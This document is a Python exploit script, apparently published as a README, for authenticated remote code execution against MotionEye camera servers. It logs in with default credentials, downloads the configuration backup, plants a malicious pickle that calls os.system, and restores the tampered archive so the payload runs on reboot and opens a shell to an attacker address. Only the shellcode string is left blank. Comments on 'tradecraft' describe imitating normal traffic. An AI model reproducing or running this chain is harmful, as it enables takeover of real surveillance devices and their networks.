README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import argparse
import os
import pickle
import hashlib
import tarfile
import time
import string
import random
from requests_toolbelt import MultipartEncoder
import json
# proxies = {"http": "http://127.0.0.1:9090", "https": "http://127.0.0.1:9090"}
proxies = {}
def get_cli_args():
parser = argparse.ArgumentParser(description="MotionEye Authenticated RCE Exploit")
parser.add_argument(
"--victim",
help="Victim url in format ip:port, or just ip if port 80",
required=True,
)
parser.add_argument("--attacker", help="ipaddress:port of attacker", required=True)
parser.add_argument(
"--username", help="username of web interface, default=admin", default="admin"
)
parser.add_argument(
"--password", help="password of web interface, default=blank", default=""
)
args = parser.parse_args()
return args
def login(username, password, victim_url):
session = requests.Session()
useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
headers = {"User-Agent": useragent}
login_url = f"http://{victim_url}/login/"
body = f"username={username}&password={password}"
session.post(login_url, headers=headers, data=body)
return session
def download_config(username, victim_url, session):
download_url = f"http://{victim_url}/config/backup/?_username={username}&_signature=5907c8158417212fbef26936d3e5d8a04178b46f"
backup_file = session.get(download_url)
open("motioneye-config.tar.gz", "wb").write(backup_file.content)
return
def create_pickle(ip_address, port):
shellcode = "" # put your shellcode here
class EvilPickle(object):
def __reduce__(self):
cmd = shellcode
return os.system, (cmd,)
# need protocol=2 and fix_imports=True for python2 compatibility
pickle_data = pickle.dumps(EvilPickle(), protocol=2, fix_imports=True)
with open("tasks.pickle", "wb") as file:
file.write(pickle_data)
file.close()
return
def decompress_add_file_recompress():
with tarfile.open("./motioneye-config.tar.gz") as original_backup:
original_backup.extractall("./motioneye-config")
original_backup.close()
original_backup.close()
os.remove("./motioneye-config.tar.gz")
# move malicious tasks.pickle into the extracted directory and then tar and gz it back up
os.rename("./tasks.pickle", "./motioneye-config/tasks.pickle")
with tarfile.open("./motioneye-config.tar.gz", "w:gz") as config_tar:
config_tar.add("./motioneye-config/", arcname=".")
config_tar.close()
return
def restore_config(username, password, victim_url, session):
# a lot of this is not necessary, but makes for good tradecraft
# recreated 'normal' requests as closely as I could
t = int(time.time() * 1000)
path = f"/config/restore/?_={t}&_username={username}"
# admin_hash is the sha1 hash of the admin's password, which is '' in the default case
admin_hash = hashlib.sha1(password.encode("utf-8")).hexdigest().lower()
signature = (
hashlib.sha1(f"POST:{path}::{admin_hash}".encode("utf-8")).hexdigest().lower()
)
restore_url = f"http://{victim_url}/config/restore/?_={t}&_username=admin&_signature={signature}"
# motioneye checks for "---" as a form boundary. Python Requests only prepends "--"
# so we have to manually create this
files = {
"files": (
"motioneye-config.tar.gz",
open("motioneye-config.tar.gz", "rb"),
"application/gzip",
)
}
useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
boundary = "----WebKitFormBoundary" + "".join(
random.sample(string.ascii_letters + string.digits, 16)
)
m = MultipartEncoder(fields=files, boundary=boundary)
headers = {
"Content-Type": m.content_type,
"User-Agent": useragent,
"X-Requested-With": "XMLHttpRequest",
"Cookie": "meye_username=_; monitor_info_1=; motion_detected_1=false; capture_fps_1=5.6",
"Origin": f"http://{victim_url}",
"Referer": f"http://{victim_url}",
"Accept-Language": "en-US,en;q=0.9",
}
response = session.post(restore_url, data=m, headers=headers, proxies=proxies)
# if response == reboot false then we need reboot routine
content = json.loads(response.content.decode("utf-8"))
if content["reboot"] == True:
print("Rebooting! Stand by for shell!")
else:
print("Manual reboot needed!")
return
if __name__ == "__main__":
print("Running exploit!")
arguments = get_cli_args()
session = login(arguments.username, arguments.password, arguments.victim)
download_config(arguments.username, arguments.victim, session)
# sends attacker ip and port as arguments to create the pickle
create_pickle(arguments.attacker.split(":")[0], arguments.attacker.split(":")[1])
decompress_add_file_recompress()
restore_config(arguments.username, arguments.password, arguments.victim, session)